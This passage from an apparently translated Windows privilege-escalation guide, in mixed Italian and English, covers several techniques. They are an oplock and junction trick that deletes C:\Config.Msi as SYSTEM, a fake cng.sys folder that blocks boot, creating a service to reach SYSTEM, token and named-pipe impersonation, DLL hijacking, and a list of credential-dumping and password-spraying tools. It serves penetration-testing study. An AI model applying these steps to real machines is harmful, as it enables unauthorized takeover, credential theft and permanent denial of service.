  • Quando raggiunge file1.txt, si verifica oplock triggers e passa il controllo al tuo callback.
  1. Passo 4: All’interno del callback dell’oplock – reindirizza l’eliminazione
  • Opzione A: Sposta file1.txt altrove

  • Questo svuota folder1 senza interrompere l’oplock.

  • Non eliminare file1.txt direttamente — questo rilascerebbe l’oplock prematuramente.

  • Opzione B: Converti folder1 in una junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opzione C: Crea un symlink in \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Questo prende di mira lo stream interno di NTFS che memorizza i metadati della cartella — cancellarlo cancella la cartella.

  1. Step 5: Rilascia l’oplock
  • Il processo SYSTEM continua e tenta di eliminare file1.txt.
  • Ma ora, a causa della junction + symlink, sta effettivamente cancellando:
C:\Config.Msi::$INDEX_ALLOCATION

Risultato: C:\Config.Msi viene eliminato da SYSTEM.

Da Arbitrary Folder Create a DoS permanente

Sfrutta una primitiva che ti permette di creare una cartella arbitraria come SYSTEM/admin — anche se non puoi scrivere file o impostare permessi deboli.

Crea una cartella (non un file) con il nome di un driver critico di Windows, ad es.:

C:\Windows\System32\cng.sys
  • Questo percorso corrisponde normalmente al driver in modalità kernel cng.sys.
  • Se lo pre-crei come cartella, Windows non riesce a caricare il driver reale all’avvio.
  • Poi, Windows prova a caricare cng.sys durante l’avvio.
  • Vede la cartella, non riesce a risolvere il driver reale, e va in crash o blocca l’avvio.
  • Non c’è fallback, e nessuna recovery senza intervento esterno (es., riparazione dell’avvio o accesso al disco).

From High Integrity to System

Nuovo servizio

Se stai già eseguendo un processo High Integrity, il percorso verso SYSTEM può essere semplice semplicemente creando ed eseguendo un nuovo servizio:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Quando crei un service binary assicurati che sia un servizio valido o che il binario esegua le azioni necessarie abbastanza in fretta, perché verrà terminato dopo 20s se non è un servizio valido.

AlwaysInstallElevated

Da un processo High Integrity puoi provare ad abilitare le chiavi di registro AlwaysInstallElevated e installare una reverse shell usando un wrapper .msi. More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Puoi find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Se hai quei privilegi di token (probabilmente li troverai in un processo già High Integrity), potrai aprire quasi qualsiasi processo (non i protected processes) con il privilegio SeDebug, copiare il token del processo e creare un processo arbitrario con quel token. Usando questa tecnica si tende solitamente a selezionare un processo in esecuzione come SYSTEM con tutti i privilegi di token (sì, puoi trovare processi SYSTEM senza tutti i privilegi di token). Puoi trovare un example of code executing the proposed technique here.

Named Pipes

Questa tecnica è usata da meterpreter per escalare in getsystem. La tecnica consiste nel creare una pipe e poi creare/abusare di un service per scrivere su quella pipe. Poi, il server che ha creato la pipe usando il privilegio SeImpersonate sarà in grado di impersonare il token del client della pipe (il service) ottenendo privilegi SYSTEM. Se vuoi learn more about name pipes you should read this. Se vuoi leggere un esempio di how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Se riesci a hijackare una dll caricata da un processo in esecuzione come SYSTEM sarai in grado di eseguire codice arbitrario con quei permessi. Dll Hijacking è quindi utile per questo tipo di escalation di privilegi e, inoltre, è molto più semplice da ottenere da un processo high integrity poiché avrà permessi di scrittura sulle cartelle usate per caricare le dll. You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Miglior strumento per cercare Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Controlla misconfigurazioni e file sensibili (check here). Rilevato.
JAWS – Controlla alcune possibili misconfigurazioni e raccoglie info (check here).
privesc – Controlla misconfigurazioni
SessionGopher – Estrae informazioni sulle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usare -Thorough in locale.
Invoke-WCMDump – Estrae credenziali da Credential Manager. Rilevato.
DomainPasswordSpray – Esegue password spraying delle password raccolte sul dominio
Inveigh – Inveigh è un tool PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer e man-in-the-middle.
WindowsEnum – Enumerazione Windows base per privesc
Sherlock ~~~~ – Cerca vulnerabilità privesc conosciute (DEPRECATO in favore di Watson)
WINspect – Controlli locali (Need Admin rights)

Exe

Watson – Cerca vulnerabilità privesc conosciute (needs to be compiled using VisualStudio) (precompiled)
SeatBelt – Enumera l’host cercando misconfigurazioni (più uno strumento di raccolta info che di privesc) (needs to be compiled) (precompiled)
LaZagne – Estrae credenziali da molti software (precompiled exe in github)
SharpUP – Port di PowerUp in C#
Beroot ~~~~ – Verifica misconfigurazioni (eseguibile precompilato su github). Non consigliato. Non funziona bene su Win10.
Windows-Privesc-Check – Controlla possibili misconfigurazioni (exe da python). Non consigliato. Non funziona bene su Win10.

Bat

winPEASbat – Tool creato basato su questo post (non necessita di accesschk per funzionare correttamente ma può usarlo).

Local

Windows-Exploit-Suggester – Legge l’output di systeminfo e suggerisce exploit funzionanti (python locale)
Windows Exploit Suggester Next Generation – Legge l’output di systeminfo e suggerisce exploit funzionanti (python locale)

Meterpreter

multi/recon/local_exploit_suggestor

Devi compilare il progetto usando la versione corretta di .NET (see this). Per vedere la versione di .NET installata sull’host vittima puoi fare:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks